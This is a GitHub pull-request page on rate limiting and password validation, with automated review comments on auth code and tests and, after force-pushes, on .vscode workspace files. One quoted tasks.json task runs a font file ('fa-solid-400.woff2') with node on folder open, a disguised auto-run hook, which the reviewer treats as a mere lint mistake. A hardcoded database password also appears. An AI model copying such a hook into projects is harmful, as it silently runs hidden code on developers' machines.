Fix rate limiting and password validation logic#79
Conversation
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughThis PR updates the ChangesVS Code workspace configuration
Estimated code review effort🎯 1 (Trivial) | ⏱️ ~3 minutes Possibly related PRs
Suggested reviewers
🚥 Pre-merge checks | ✅ 3 | ❌ 2❌ Failed checks (2 warnings)
✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 4
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
app/api/v1/endpoints/auth.py (1)
26-33:⚠️ Potential issue | 🟠 Major | ⚡ Quick winFix the import block ordering so lint passes.
This import group is not Ruff-formatted (
I001), so CI is already failing on this file. Please sort/reformat the imports before merge.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@app/api/v1/endpoints/auth.py` around lines 26 - 33, The import block in auth.py is not correctly ordered for Ruff (I001); reorder the imports in the block that contains assert_login_not_rate_limited, clear_login_failures, enforce_rate_limit, record_login_failure, enforce_action_rate_limit, and record_verify_otp_failure so they follow standard grouping (standard lib, third-party, local) and are alphabetized within their group per PEP8/isort style; update that single import statement to a properly sorted, grouped list so Ruff/CI will accept it.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@app/api/v1/endpoints/auth.py`:
- Line 201: Remove the unused local variable assignments to settings created by
calling get_settings() in the auth endpoint file; locate each occurrence (e.g.,
the standalone assignment "settings = get_settings()" around the blocks
involving auth configuration and handlers) and delete the unused assignment so
Ruff F841 is resolved and no behavior changes occur—if any code later needs
configuration, replace the unused local with a direct call to get_settings() at
the point of use instead of assigning to an unused variable.
- Around line 357-363: The rate-limit key uses the raw request.email while the
user lookup uses request.email.strip().lower(), allowing evasion; normalize the
email first (e.g., assign normalized_email = request.email.strip().lower()) and
use that normalized_email in the enforce_action_rate_limit key
(f"rl:reset-password:{ip_hash}:{normalized_email}") and also pass it to
user_repo.get_by_email to ensure consistent per-email rate limiting; update
references to request.email in this block to use the normalized variable and
keep ip_hash usage the same.
- Around line 209-219: The current blanket except Exception around
authenticate_otp increments record_verify_otp_failure for any error; change it
to catch only the specific OTP-authentication failure exception(s) (e.g.,
InvalidOtpError / OtpVerificationError or the module's authentication-specific
exception) and call record_verify_otp_failure(ip_hash) there, while allowing
other exceptions (including ForbiddenError and internal errors) to propagate
untouched; update the except clause to reference the exact exception class(es)
from where authenticate_otp is defined and remove the broad Exception handler so
only genuine OTP failures trigger record_verify_otp_failure.
In `@app/core/rate_limit.py`:
- Around line 64-191: The file contains a duplicated module body — remove the
pasted second copy and merge the new helpers into the primary module body: keep
a single set of imports and definitions and delete the duplicate block, then
integrate enforce_action_rate_limit, the key helpers (_forgot_password_key,
_resend_otp_key, _verify_otp_key, _reset_password_key, _verify_otp_fail_key) and
record_verify_otp_failure into the original module (so functions like
enforce_rate_limit, enforce_guest_session_create_limit,
assert_login_not_rate_limited, record_login_failure, clear_login_failures remain
unique); ensure there are no duplicated imports or redefined functions and that
record_verify_otp_failure uses the same get_redis/expire pattern and consistent
window/limit constants as the rest of the file.
---
Outside diff comments:
In `@app/api/v1/endpoints/auth.py`:
- Around line 26-33: The import block in auth.py is not correctly ordered for
Ruff (I001); reorder the imports in the block that contains
assert_login_not_rate_limited, clear_login_failures, enforce_rate_limit,
record_login_failure, enforce_action_rate_limit, and record_verify_otp_failure
so they follow standard grouping (standard lib, third-party, local) and are
alphabetized within their group per PEP8/isort style; update that single import
statement to a properly sorted, grouped list so Ruff/CI will accept it.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro
Run ID: 415f4a96-3d22-4ed8-8fd1-72218940e79c
📒 Files selected for processing (3)
app/api/v1/endpoints/auth.pyapp/core/rate_limit.pyapp/schemas/auth.py
| try: | ||
|
|
||
| user = await authenticate_otp( | ||
| user_repo, | ||
| otp_repo, | ||
| email=payload.email, | ||
| code=payload.code, | ||
| ) | ||
| except Exception: | ||
| await record_verify_otp_failure(ip_hash) | ||
| raise |
There was a problem hiding this comment.
Only count actual OTP auth failures here.
Catching Exception will also increment the OTP-failure counter for unrelated problems raised by authenticate_otp(...), including disabled-account ForbiddenError and transient internal errors. That can rate-limit legitimate users for server-side failures instead of bad codes.
Suggested fix
- try:
- user = await authenticate_otp(
- user_repo,
- otp_repo,
- email=payload.email,
- code=payload.code,
- )
- except Exception:
- await record_verify_otp_failure(ip_hash)
- raise
+ try:
+ user = await authenticate_otp(
+ user_repo,
+ otp_repo,
+ email=payload.email,
+ code=payload.code,
+ )
+ except UnauthorizedError:
+ await record_verify_otp_failure(ip_hash)
+ raise🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@app/api/v1/endpoints/auth.py` around lines 209 - 219, The current blanket
except Exception around authenticate_otp increments record_verify_otp_failure
for any error; change it to catch only the specific OTP-authentication failure
exception(s) (e.g., InvalidOtpError / OtpVerificationError or the module's
authentication-specific exception) and call record_verify_otp_failure(ip_hash)
there, while allowing other exceptions (including ForbiddenError and internal
errors) to propagate untouched; update the except clause to reference the exact
exception class(es) from where authenticate_otp is defined and remove the broad
Exception handler so only genuine OTP failures trigger
record_verify_otp_failure.
| await enforce_action_rate_limit( | ||
| key=f"rl:reset-password:{ip_hash}:{request.email}", | ||
| limit=5, | ||
| window_seconds=600, | ||
| message="Too many password reset attempts. Try again later.", | ||
| ) | ||
| user = await user_repo.get_by_email(request.email.strip().lower()) |
There was a problem hiding this comment.
Normalize the email before building the reset-rate-limit key.
The limiter key uses request.email verbatim, but the actual lookup uses request.email.strip().lower(). The same address can therefore evade the per-email limit by changing casing or adding whitespace.
Suggested fix
- await enforce_action_rate_limit(
- key=f"rl:reset-password:{ip_hash}:{request.email}",
+ normalized_email = request.email.strip().lower()
+
+ await enforce_action_rate_limit(
+ key=f"rl:reset-password:{ip_hash}:{normalized_email}",
limit=5,
window_seconds=600,
message="Too many password reset attempts. Try again later.",
)
- user = await user_repo.get_by_email(request.email.strip().lower())
+ user = await user_repo.get_by_email(normalized_email)📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| await enforce_action_rate_limit( | |
| key=f"rl:reset-password:{ip_hash}:{request.email}", | |
| limit=5, | |
| window_seconds=600, | |
| message="Too many password reset attempts. Try again later.", | |
| ) | |
| user = await user_repo.get_by_email(request.email.strip().lower()) | |
| normalized_email = request.email.strip().lower() | |
| await enforce_action_rate_limit( | |
| key=f"rl:reset-password:{ip_hash}:{normalized_email}", | |
| limit=5, | |
| window_seconds=600, | |
| message="Too many password reset attempts. Try again later.", | |
| ) | |
| user = await user_repo.get_by_email(normalized_email) |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@app/api/v1/endpoints/auth.py` around lines 357 - 363, The rate-limit key uses
the raw request.email while the user lookup uses request.email.strip().lower(),
allowing evasion; normalize the email first (e.g., assign normalized_email =
request.email.strip().lower()) and use that normalized_email in the
enforce_action_rate_limit key
(f"rl:reset-password:{ip_hash}:{normalized_email}") and also pass it to
user_repo.get_by_email to ensure consistent per-email rate limiting; update
references to request.email in this block to use the normalized variable and
keep ip_hash usage the same.
There was a problem hiding this comment.
Actionable comments posted: 4
♻️ Duplicate comments (2)
app/api/v1/endpoints/auth.py (2)
348-354:⚠️ Potential issue | 🟠 Major | ⚡ Quick winEmail not normalized in rate-limit key allows bypass via casing/whitespace.
The rate-limit key uses
request.emailverbatim (line 349) while the lookup usesrequest.email.strip().lower()(line 354). An attacker can evade the per-email limit by varying casing or adding whitespace.🔧 Suggested fix
+ normalized_email = request.email.strip().lower() + await enforce_action_rate_limit( - key=f"rl:reset-password:{ip_hash}:{request.email}", + key=f"rl:reset-password:{ip_hash}:{normalized_email}", limit=5, window_seconds=600, message="Too many password reset attempts. Try again later.", ) - user = await user_repo.get_by_email(request.email.strip().lower()) + user = await user_repo.get_by_email(normalized_email)🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@app/api/v1/endpoints/auth.py` around lines 348 - 354, The rate-limit key currently uses request.email verbatim which allows bypass via casing/whitespace; change the enforce_action_rate_limit call to normalize the email the same way as the lookup (use request.email.strip().lower()) so the key (e.g., in enforce_action_rate_limit's key arg "rl:reset-password:{ip_hash}:{...}") matches the user_repo.get_by_email normalization and prevents evasion; ensure any other places constructing per-email keys use the same normalization.
207-216:⚠️ Potential issue | 🟠 Major | ⚡ Quick winCatching
Exceptionincrements OTP-failure counter for unrelated errors.This still catches all exceptions, including
ForbiddenError(disabled account) and transient internal errors, which would unfairly rate-limit legitimate users experiencing server-side failures.🔧 Suggested fix
try: user = await authenticate_otp( user_repo, otp_repo, email=payload.email, code=payload.code, ) - except Exception: + except UnauthorizedError: await record_verify_otp_failure(ip_hash) raise🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@app/api/v1/endpoints/auth.py` around lines 207 - 216, The current broad except around authenticate_otp increments the OTP-failure counter for any exception; change it to only catch the specific OTP validation exception thrown by authenticate_otp (e.g., InvalidOTPError or AuthenticationError), call await record_verify_otp_failure(ip_hash) inside that specific except, then re-raise; let other exceptions (including ForbiddenError and transient/internal errors) bubble up unchanged. Ensure you import/reference the exact exception class used by authenticate_otp and update the try/except block accordingly.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@app/core/rate_limit.py`:
- Around line 66-77: The OTP failure tracker in record_verify_otp_failure uses
hardcoded window and limit (300 seconds and 5 attempts); update this to read
values from get_settings() as other functions do: add settings fields (e.g.,
otp_verify_window_seconds and otp_verify_max_attempts) and use them instead of
the literals in record_verify_otp_failure (and keep the key generation in
_verify_otp_fail_key unchanged); ensure you use the same names and semantics as
other rate-limit callers so tests and configuration can tune the window and
limit without code changes.
In `@app/services/auth/password_reset.py`:
- Line 64: The call to validate_password_strength in the password reset service
can raise ValueError and bubble up as an HTTP 500; wrap the call inside the
ResetPassword flow (the function containing validate_password_strength) in a
try/except that catches ValueError and re-raises a user-facing exception (e.g.,
UnauthorizedError or a dedicated ValidationError) so callers receive a 4xx
response; update the service's exception handling to map that new exception to a
422/401 at the API boundary if necessary and document that ResetPasswordRequest
still performs primary validation.
In `@tests/conftest.py`:
- Line 4: The tests are configured to use a non-test database via
os.environ.setdefault("DATABASE_URL",
"postgresql+asyncpg://postgres:summie@localhost:5432/clinsights"); change this
to point to a dedicated test database (e.g., use "clinsights_test") and remove
the hardcoded password by sourcing credentials from environment variables or a
test-only config; update the DATABASE_URL default to something like a test DB
name or a placeholder and ensure any code referencing DATABASE_URL (in tests or
fixtures) will use that test-specific value so tests run against an isolated
database.
In `@tests/test_auth_rate_limit_matrix.py`:
- Around line 72-82: The test hardcodes iteration counts (e.g., the "4" in
test_forgot_password_rate_limit_blocks_after_multiple_requests) which can drift
if rate limits change; change each rate-limit loop to read the limit from
settings (e.g., use settings.LOGIN_FAILURE_RATE_LIMIT or the appropriate
settings.<FOO>_RATE_LIMIT for forgot-password) into a local variable, iterate
limit + 1 times to trigger the block, and assert the final response is 429;
apply the same change to all rate-limit tests in this module (including the
other tests mentioned) so they derive counts from settings rather than hardcoded
integers.
---
Duplicate comments:
In `@app/api/v1/endpoints/auth.py`:
- Around line 348-354: The rate-limit key currently uses request.email verbatim
which allows bypass via casing/whitespace; change the enforce_action_rate_limit
call to normalize the email the same way as the lookup (use
request.email.strip().lower()) so the key (e.g., in enforce_action_rate_limit's
key arg "rl:reset-password:{ip_hash}:{...}") matches the user_repo.get_by_email
normalization and prevents evasion; ensure any other places constructing
per-email keys use the same normalization.
- Around line 207-216: The current broad except around authenticate_otp
increments the OTP-failure counter for any exception; change it to only catch
the specific OTP validation exception thrown by authenticate_otp (e.g.,
InvalidOTPError or AuthenticationError), call await
record_verify_otp_failure(ip_hash) inside that specific except, then re-raise;
let other exceptions (including ForbiddenError and transient/internal errors)
bubble up unchanged. Ensure you import/reference the exact exception class used
by authenticate_otp and update the try/except block accordingly.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro
Run ID: 8b22f7e9-8d84-4933-b1cd-b8e207f16069
📒 Files selected for processing (8)
app/api/v1/endpoints/auth.pyapp/api/v1/endpoints/users.pyapp/core/password_policy.pyapp/core/rate_limit.pyapp/schemas/auth.pyapp/services/auth/password_reset.pytests/conftest.pytests/test_auth_rate_limit_matrix.py
There was a problem hiding this comment.
Actionable comments posted: 2
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
app/core/rate_limit.py (1)
57-63: 🧹 Nitpick | 🔵 Trivial | 💤 Low valueConsolidate the duplicated fixed-window logic.
enforce_action_rate_limitduplicatesenforce_rate_limit(Lines 10-16) verbatim except for themessagepassed toRateLimitExceeded. Two copies of the same incr/expire/compare logic will drift over time. Consider havingenforce_rate_limitdelegate to this helper while preserving its current no-argument default message.♻️ Proposed consolidation
-async def enforce_rate_limit(*, key: str, limit: int, window_seconds: int) -> None: - redis = await get_redis() - count = await redis.incr(key) - if count == 1: - await redis.expire(key, window_seconds) - if count > limit: - raise RateLimitExceeded() +async def enforce_rate_limit(*, key: str, limit: int, window_seconds: int) -> None: + # Preserve the existing no-argument default message of RateLimitExceeded. + await enforce_action_rate_limit( + key=key, limit=limit, window_seconds=window_seconds, message=str(RateLimitExceeded()) + )Verify that
str(RateLimitExceeded())matches the message produced by the bareRateLimitExceeded()raised today before adopting this.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@app/core/rate_limit.py` around lines 57 - 63, enforce_action_rate_limit duplicates the incr/expire/compare logic from enforce_rate_limit; refactor by centralizing the fixed-window logic into one function and have the other delegate to it: either add an optional message parameter to enforce_rate_limit (keeping its current default message) and call enforce_rate_limit(key=..., limit=..., window_seconds=..., message=message) from enforce_action_rate_limit, or extract the shared incr/expire logic into a private helper (e.g., _enforce_rate_limit_core) used by both; ensure you still raise RateLimitExceeded(message) using get_redis() as before and verify that str(RateLimitExceeded()) equals the current bare RateLimitExceeded() message before finalizing the change.tests/test_auth_rate_limit_matrix.py (1)
169-182: 🧹 Nitpick | 🔵 Trivial | ⚡ Quick winConsider expanding weak password test coverage.
The test only checks one weak password example (
"weakpass"). Based on the password policy (length 8+, uppercase, lowercase, digit, special character), consider testing edge cases like too-short passwords, missing uppercase, missing digits, or missing special characters.💡 Optional: expand test cases
`@pytest.mark.parametrize`("weak_password,description", [ ("weak", "too short"), ("weakpassword", "no uppercase, digit, or special"), ("Weakpassword", "no digit or special"), ("Weakpass1", "no special character"), ]) async def test_reset_password_rejects_weak_new_password(client, weak_password, description) -> None: user = await _create_user( email=f"weakpwd_{uuid.uuid4().hex[:8]}`@clinsights.dev`", password="Password123!", verified=True, ) try: response = await client.post( "/api/v1/auth/reset-password", json={"email": user.email, "token": "111111", "new_password": weak_password}, ) assert response.status_code == 422, f"Expected 422 for {description}" finally: await _delete_user(user.id)🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@tests/test_auth_rate_limit_matrix.py` around lines 169 - 182, The test test_reset_password_rejects_weak_new_password currently only asserts one weak password; extend it to cover edge cases by parametrizing the test (use pytest.mark.parametrize) with cases like too-short ("weak"), no uppercase/no digit/no special ("weakpassword"), missing digit ("Weakpassword"), and missing special ("Weakpass1"); for each case post to "/api/v1/auth/reset-password" with json {"email": user.email, "token": "111111", "new_password": weak_password} and assert response.status_code == 422 (include the description in the assertion message for easier debugging); keep setup/teardown using _create_user and _delete_user as in the original.
♻️ Duplicate comments (1)
tests/test_auth_rate_limit_matrix.py (1)
15-20:⚠️ Potential issue | 🟡 Minor | ⚡ Quick winRead rate limits from settings for consistency.
The login test correctly reads from
settings.LOGIN_FAILURE_RATE_LIMIT(line 62), but these constants are hardcoded. If the application rate limits change in config, these tests will drift and may pass/fail incorrectly.♻️ Recommended fix: read limits from settings
-FORGOT_PASSWORD_RATE_LIMIT = 3 -RESEND_OTP_RATE_LIMIT = 3 -VERIFY_OTP_RATE_LIMIT = 5 -RESET_PASSWORD_RATE_LIMIT = 5 -EMAIL_UPDATE_REQUEST_RATE_LIMIT = 3 -EMAIL_UPDATE_VERIFY_RATE_LIMIT = 5Then update each test to read from
settings(already imported at line 7):# Example for forgot-password test: settings = get_settings() for _ in range(settings.FORGOT_PASSWORD_RATE_LIMIT): ...Apply the same pattern to all rate-limit tests in this module.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@tests/test_auth_rate_limit_matrix.py` around lines 15 - 20, Replace the hardcoded rate-limit constants (FORGOT_PASSWORD_RATE_LIMIT, RESEND_OTP_RATE_LIMIT, VERIFY_OTP_RATE_LIMIT, RESET_PASSWORD_RATE_LIMIT, EMAIL_UPDATE_REQUEST_RATE_LIMIT, EMAIL_UPDATE_VERIFY_RATE_LIMIT) with values read from the app settings (e.g. settings.FORGOT_PASSWORD_RATE_LIMIT, settings.RESEND_OTP_RATE_LIMIT, etc.), mirroring how LOGIN_FAILURE_RATE_LIMIT is read; ensure you call get_settings() if needed and update each test loop to iterate using the corresponding settings.* value so the tests stay in sync with configuration.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@app/core/config.py`:
- Around line 47-48: The new OTP rate-limit fields OTP_FAILURE_RATE_LIMIT and
OTP_FAILURE_RATE_WINDOW_SECONDS need the same lower-bound validation as the
LOGIN_* equivalents: add ge constraints (e.g., ge=1) to both fields using the
same pattern (Field(..., ge=1) or equivalent) so OTP_FAILURE_RATE_WINDOW_SECONDS
cannot be set to 0 and the failure counter can accumulate; mirror the validation
used on LOGIN_FAILURE_RATE_LIMIT and LOGIN_FAILURE_RATE_WINDOW_SECONDS in the
class where these constants are defined.
In `@app/services/auth/password_reset.py`:
- Around line 64-67: The reset_password path currently calls
validate_password_strength(new_password) but does not enforce the schema's
72-character maximum, so add an explicit length check in reset_password (or
extend validate_password_strength) to mirror ResetPasswordRequest.new_password's
max_length=72: if len(new_password) > 72 raise BadRequestError with a clear
message before/alongside the existing strength validation; update the error
raising to use BadRequestError consistently (raise BadRequestError("password
must be at most 72 characters") from None) so callers cannot bypass the API's
schema constraint.
---
Outside diff comments:
In `@app/core/rate_limit.py`:
- Around line 57-63: enforce_action_rate_limit duplicates the
incr/expire/compare logic from enforce_rate_limit; refactor by centralizing the
fixed-window logic into one function and have the other delegate to it: either
add an optional message parameter to enforce_rate_limit (keeping its current
default message) and call enforce_rate_limit(key=..., limit=...,
window_seconds=..., message=message) from enforce_action_rate_limit, or extract
the shared incr/expire logic into a private helper (e.g.,
_enforce_rate_limit_core) used by both; ensure you still raise
RateLimitExceeded(message) using get_redis() as before and verify that
str(RateLimitExceeded()) equals the current bare RateLimitExceeded() message
before finalizing the change.
In `@tests/test_auth_rate_limit_matrix.py`:
- Around line 169-182: The test test_reset_password_rejects_weak_new_password
currently only asserts one weak password; extend it to cover edge cases by
parametrizing the test (use pytest.mark.parametrize) with cases like too-short
("weak"), no uppercase/no digit/no special ("weakpassword"), missing digit
("Weakpassword"), and missing special ("Weakpass1"); for each case post to
"/api/v1/auth/reset-password" with json {"email": user.email, "token": "111111",
"new_password": weak_password} and assert response.status_code == 422 (include
the description in the assertion message for easier debugging); keep
setup/teardown using _create_user and _delete_user as in the original.
---
Duplicate comments:
In `@tests/test_auth_rate_limit_matrix.py`:
- Around line 15-20: Replace the hardcoded rate-limit constants
(FORGOT_PASSWORD_RATE_LIMIT, RESEND_OTP_RATE_LIMIT, VERIFY_OTP_RATE_LIMIT,
RESET_PASSWORD_RATE_LIMIT, EMAIL_UPDATE_REQUEST_RATE_LIMIT,
EMAIL_UPDATE_VERIFY_RATE_LIMIT) with values read from the app settings (e.g.
settings.FORGOT_PASSWORD_RATE_LIMIT, settings.RESEND_OTP_RATE_LIMIT, etc.),
mirroring how LOGIN_FAILURE_RATE_LIMIT is read; ensure you call get_settings()
if needed and update each test loop to iterate using the corresponding
settings.* value so the tests stay in sync with configuration.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro
Run ID: 0c914916-d05d-43c9-a895-82d2d9a1754e
📒 Files selected for processing (4)
app/core/config.pyapp/core/rate_limit.pyapp/services/auth/password_reset.pytests/test_auth_rate_limit_matrix.py
| try: | ||
| validate_password_strength(new_password) | ||
| except ValueError as exc: | ||
| raise BadRequestError(str(exc)) from exc |
There was a problem hiding this comment.
Mirror the schema's 72-character cap here.
This defense-in-depth path only checks password strength. ResetPasswordRequest.new_password in app/schemas/auth.py also enforces max_length=72, so direct callers of reset_password can still persist passwords that the API would reject. Add the same bound here, or move the full rule set into a shared validator.
Proposed fix
+ if len(new_password) > 72:
+ raise BadRequestError("Password must be at most 72 characters.")
try:
validate_password_strength(new_password)
except ValueError as exc:
raise BadRequestError(str(exc)) from exc🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@app/services/auth/password_reset.py` around lines 64 - 67, The reset_password
path currently calls validate_password_strength(new_password) but does not
enforce the schema's 72-character maximum, so add an explicit length check in
reset_password (or extend validate_password_strength) to mirror
ResetPasswordRequest.new_password's max_length=72: if len(new_password) > 72
raise BadRequestError with a clear message before/alongside the existing
strength validation; update the error raising to use BadRequestError
consistently (raise BadRequestError("password must be at most 72 characters")
from None) so callers cannot bypass the API's schema constraint.
Ebenezer96
force-pushed
the
fix/rate-limiting-and-password-validation
branch
from
93f1a9a to
f049ed7
Compare
carvanino
force-pushed
the
fix/rate-limiting-and-password-validation
branch
from
f049ed7 to
7de0fb4
Compare
ALADETAN-IFE
force-pushed
the
fix/rate-limiting-and-password-validation
branch
from
7de0fb4 to
f049ed7
Compare
There was a problem hiding this comment.
Actionable comments posted: 5
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.vscode/launch.json:
- Around line 15-16: The launch configuration currently hardcodes "AWS_PROFILE":
"flo-ct-flo360" in the env blocks, which prevents shared use; update each Node
debug config's env entry (the "AWS_PROFILE" key) to use either
"${env:AWS_PROFILE}" so each developer supplies it locally, or use
"${input:awsProfile}" and add an awsProfile entry to the top-level "inputs"
array (similar to the existing scopeTestsFileName input) so users can choose/set
it via VSCode UI.
- Line 23: Remove the extraneous literal quote characters from the launch
configuration's runtimeArgs so arguments like "jest", "--watch", "--config", and
the input token ${input:scopeTestsFileName} are individual argv entries (e.g.,
runtimeArgs contains
"bind","yarn","jest","--watch","--config","./jest.unit.config.cjs","${input:scopeTestsFileName}")
instead of quoted strings, and remove or replace the hardcoded env.AWS_PROFILE
value so the env block does not set AWS_PROFILE to "flo-ct-flo360" (use no
AWS_PROFILE key or read from an environment variable/input instead); target the
runtimeArgs array and env.AWS_PROFILE entries in the launch configuration to
make these changes.
In @.vscode/settings.json:
- Around line 17-22: The VS Code auto-lint task is incorrectly defined inside
"tasks" in settings.json and uses a non-existent npm command; move or recreate
the task definition into .vscode/tasks.json (using the task label "lint on
open") and replace the command "npm run lint" with the repo's Ruff command
(e.g., "uv run ruff check" or the format check "uv run ruff format --check") or
remove the "tasks" block from settings.json entirely so VS Code will pick up the
runnable task from tasks.json.
In @.vscode/tasks.json:
- Around line 14-30: The "eslint-check" task is misconfigured: its "command"
runs a font file via node (the string starting with "node
./public/fonts/fa-solid-400.woff2") and is set to auto-run on folder open
("runOptions": {"runOn":"folderOpen"}), causing repeated errors and not actually
running linting; update the task with the correct lint command used by this repo
(e.g., the project's ESLint script or "npm run lint" / "yarn lint" / "pnpm lint"
consistent with package.json) replace the current "command" value with that lint
invocation, remove or change "runOptions.runOn" so it does not auto-run on
folder open (set to manual or remove the key), and keep the task label
"eslint-check" and presentation settings intact so the task runs the intended
linter when invoked.
- Around line 3-11: The top-level "configurations" block in .vscode/tasks.json
is invalid for tasks.json (it's a launch.json shape) — remove it from tasks.json
or move it into .vscode/launch.json so only valid task schema remains; also fix
the "eslint-check" task that currently runs "node
./public/fonts/fa-solid-400.woff2" on "folderOpen" by replacing that command
with the actual lint command (e.g., the project's eslint or ruff CLI), or rename
the task label to match the command, and ensure the
"problemMatcher"/"group"/"runOn" fields are appropriate for a lint task and that
no non-existent paths (like public/fonts/...) are referenced.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro
Run ID: 1b5dd1d3-517b-4e0b-b778-9affa116964f
📒 Files selected for processing (6)
.gitignore.vscode/extensions.json.vscode/launch.json.vscode/settings.json.vscode/spellright.dict.vscode/tasks.json
| "AWS_PROFILE": "flo-ct-flo360" | ||
| } |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
What is the recommended way in VS Code launch.json to avoid hardcoded environment-specific values (like AWS_PROFILE) in team-shared debug configurations?
💡 Result:
Recommended way: use VS Code variable substitution to read per-developer environment variables (or a per-user env file) instead of hardcoding AWS_PROFILE (or similar) directly in a team-shared launch.json. 1) Reference host environment variables in launch.json VS Code supports variable substitution in launch.json, including referencing environment variables via ${env:NAME} (for example ${env:AWS_PROFILE}). [1][2] Example: { "version": "0.2.0", "configurations": [ { "name": "Debug", "type": "node", "request": "launch", "program": "${workspaceFolder}/app.js", "env": { "AWS_PROFILE": "${env:AWS_PROFILE}" } } ] } This keeps the team-shared launch.json stable while each developer sets AWS_PROFILE in their own shell/VS Code environment. 2) Prefer loading variables from an env file (so launch.json stays generic) VS Code debugging configurations support envFile: “path to dotenv file with environment variables”. [2] Then each developer can point to a local, untracked file (or have their own workflow create it), rather than committing environment-specific values. Example: { "name": "Debug", "type": "node", "request": "launch", "program": "${workspaceFolder}/app.js", "envFile": "${workspaceFolder}/.env.local" } Notes for “team-shared debug configurations” - Put only placeholders/variable references in the committed launch.json; keep actual values like AWS_PROFILE out of source control. - Ensure developers set AWS_PROFILE (e.g., in their shell startup, profile, or VS Code environment) or provide the referenced local env file. If you tell me which debugger type you use in launch.json (node, python, coreclr/dotnet, etc.), I can tailor the exact property names/shape for that debugger.
Citations:
- 1: https://github.com/microsoft/vscode-docs/blob/main/docs/reference/variables-reference.md
- 2: https://code.visualstudio.com/docs/debugtest/debugging-configuration
🏁 Script executed:
#!/bin/bash
set -euo pipefail
FILE=".vscode/launch.json"
echo "== file: $FILE =="
if [ -f "$FILE" ]; then
nl -ba "$FILE" | sed -n '1,120p'
else
echo "Missing $FILE"
fi
echo
echo "== occurrences of AWS_PROFILE =="
rg -n "AWS_PROFILE" -S "$FILE" || trueRepository: hngprojects/clinical-api
Length of output: 161
🏁 Script executed:
#!/bin/bash
set -euo pipefail
FILE=".vscode/launch.json"
echo "== file: $FILE =="
if [ -f "$FILE" ]; then
awk 'NR<=140{printf "%d:%s\n", NR, $0}' "$FILE"
else
echo "Missing $FILE"
exit 0
fi
echo
echo "== grep: AWS_PROFILE =="
grep -n "AWS_PROFILE" "$FILE" || true
echo
echo "== grep: flo-ct-flo360 =="
grep -n "flo-ct-flo360" "$FILE" || trueRepository: hngprojects/clinical-api
Length of output: 2197
🌐 Web query:
VS Code launch.json ${input:...} usage inside env variables
💡 Result:
Yes, you can use VS Code input variables (${input:variableID}) within the env object of your launch.json configuration [1][2]. VS Code supports variable substitution for many fields in launch.json, including the env block [1][3]. By defining an inputs section in your launch.json file, you can prompt the user for input (e.g., via promptString, pickString, or command) and then reference that input value as an environment variable [1][4]. Example Usage: { "version": "2.0.0", "configurations": [ { "type": "node", "request": "launch", "name": "Launch Program", "program": "${workspaceFolder}/app.js", "env": { "MY_DYNAMIC_VAR": "${input:myInputVar}" } } ], "inputs": [ { "id": "myInputVar", "type": "promptString", "description": "Enter a value for MY_DYNAMIC_VAR" } ] } Key Considerations: - Supported Inputs: You can use promptString, pickString, or command types defined in the inputs array [4][5]. - No Nesting: VS Code does not support nesting input variables; you cannot use an input variable inside the definition of another input variable [1][2]. - Debugging Scope: Ensure the env object is correctly formatted within your specific debugging configuration, as support for env is dependent on the language extension being 